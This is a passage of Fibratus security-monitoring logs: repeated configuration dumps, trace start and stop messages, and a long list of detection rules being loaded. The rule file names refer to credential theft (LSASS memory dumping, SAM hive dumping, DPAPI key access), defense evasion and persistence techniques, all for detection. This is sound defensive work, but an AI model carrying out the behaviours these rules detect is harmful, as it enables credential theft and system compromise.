formatter=>text] + output ......................... [ eventlog=>[ enabled=>false level=>info] http=>[ enabled=>false endpoints=>[] enable-gzip=>false method=>POST serializer=>json tls-insecure-skip-verify=>false timeout=>5s] amqp=>[ delivery-mode=>transient routing-key=>fibratus enabled=>false durable=>false exchange=>fibratus exchange-type=>topic tls-insecure-skip-verify=>false vhost=>/ passive=>false timeout=>5s url=>amqp://localhost:5672] elasticsearch=>[ timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s healthcheck-interval=>10s healthcheck=>true sniff=>false bulk-workers=>1 index-name=>fibratus enabled=>false gzip-compression=>false healthcheck-timeout=>5s template-name=>fibratus trace-log=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ read-symbols=>false read-resources=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ fastscan=>true enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-registry=>false skip-allocs=>false excluded-files=>[] skip-files=>false excluded-procs=>[] skip-mmaps=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-09T17:40:56+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-09T17:41:03+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-09T17:41:08+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-09T17:41:08+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-09T17:41:08+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-10T16:14:32+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-10T16:14:32+01:00 level=info msg=bootstrapping with pid 19184. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-10T16:14:32+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ use-template=>true enabled=>false content-type=>text/html port=>25 to=>[]] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ buffer-size=>512 enable-image=>true enable-thread=>true stack-enrichment=>true enable-fileio=>true enable-handle=>false enable-registry=>true enable-mem=>false min-buffers=>16 enable-threadpool=>false enable-dns=>false enable-net=>true enable-vamap=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 flush-interval=>1s enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-size=>100 formatter=>text level=>info max-backups=>15 max-age=>0] + output ......................... [ amqp=>[ exchange=>fibratus url=>amqp://localhost:5672 vhost=>/ passive=>false enabled=>false delivery-mode=>transient exchange-type=>topic durable=>false timeout=>5s routing-key=>fibratus tls-insecure-skip-verify=>false] elasticsearch=>[ template-name=>fibratus timeout=>5s healthcheck-interval=>10s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] bulk-workers=>1 trace-log=>false sniff=>false healthcheck=>true index-name=>fibratus flush-period=>1s gzip-compression=>false enabled=>false] eventlog=>[ level=>info enabled=>false] http=>[ tls-insecure-skip-verify=>false timeout=>5s method=>POST serializer=>json endpoints=>[] enabled=>false enable-gzip=>false] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +]] + pe ............................. [ read-symbols=>false read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] enabled=>false fastscan=>true excluded-procs=>[] skip-registry=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s skip-files=>false skip-allocs=>false skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-10T16:14:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-10T16:14:35+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-10T16:15:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-10T16:15:53+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-10T16:15:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-10T16:26:45+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-10T16:26:45+01:00 level=info msg=bootstrapping with pid 21196. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-10T16:26:45+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html to=>[] use-template=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-vamap=>true buffer-size=>512 min-buffers=>16 enable-threadpool=>false enable-image=>true max-buffers=>36 enable-mem=>false flush-interval=>1s stack-enrichment=>true enable-fileio=>true enable-audit-api=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-registry=>true enable-handle=>false enable-net=>true enable-thread=>true enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info max-backups=>15 max-size=>100 log-stdout=>true formatter=>text max-age=>0] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ timeout=>5s tls-insecure-skip-verify=>false enabled=>false exchange-type=>topic durable=>false exchange=>fibratus passive=>false url=>amqp://localhost:5672 routing-key=>fibratus delivery-mode=>transient vhost=>/] elasticsearch=>[ flush-period=>1s enabled=>false gzip-compression=>false healthcheck-timeout=>5s healthcheck=>true healthcheck-interval=>10s timeout=>5s template-name=>fibratus trace-log=>false index-name=>fibratus sniff=>false bulk-workers=>1 servers=>[http://127.0.0.1:9200]] http=>[ endpoints=>[] tls-insecure-skip-verify=>false enabled=>false timeout=>5s method=>POST serializer=>json enable-gzip=>false] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false excluded-files=>[] fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false enabled=>false skip-allocs=>false skip-mmaps=>false scan-timeout=>10s excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-10T16:26:46+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-10T16:26:48+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-10T16:33:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-10T16:33:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-10T16:33:43+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-10T17:15:38+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-10T17:15:38+01:00 level=info msg=bootstrapping with pid 22352. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-10T17:15:38+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ content-type=>text/html use-template=>true port=>25 enabled=>false to=>[]] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ enable-registry=>true enable-image=>true enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true flush-interval=>1s enable-threadpool=>false enable-dns=>false max-buffers=>36 enable-fileio=>true min-buffers=>16 enable-mem=>false stack-enrichment=>true enable-thread=>true enable-vamap=>true enable-net=>true buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-backups=>15 log-stdout=>true max-size=>100 max-age=>0 formatter=>text] + output ......................... [ http=>[ tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] enable-gzip=>false enabled=>false method=>POST serializer=>json] elasticsearch=>[ enabled=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus timeout=>5s trace-log=>false healthcheck=>true gzip-compression=>false flush-period=>1s sniff=>false healthcheck-timeout=>5s bulk-workers=>1 healthcheck-interval=>10s template-name=>fibratus] amqp=>[ exchange-type=>topic routing-key=>fibratus enabled=>false exchange=>fibratus delivery-mode=>transient durable=>false timeout=>5s url=>amqp://localhost:5672 vhost=>/ passive=>false tls-insecure-skip-verify=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false excluded-files=>[] scan-timeout=>10s excluded-procs=>[] skip-registry=>false enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-mmaps=>false skip-allocs=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-10T17:15:39+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-10T17:15:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-10T17:15:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-10T17:15:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-10T17:15:52+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-10T17:16:14+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_creation_from_stomped_module.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-10T17:16:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-10T17:18:06+01:00 level=info msg=loading rule from 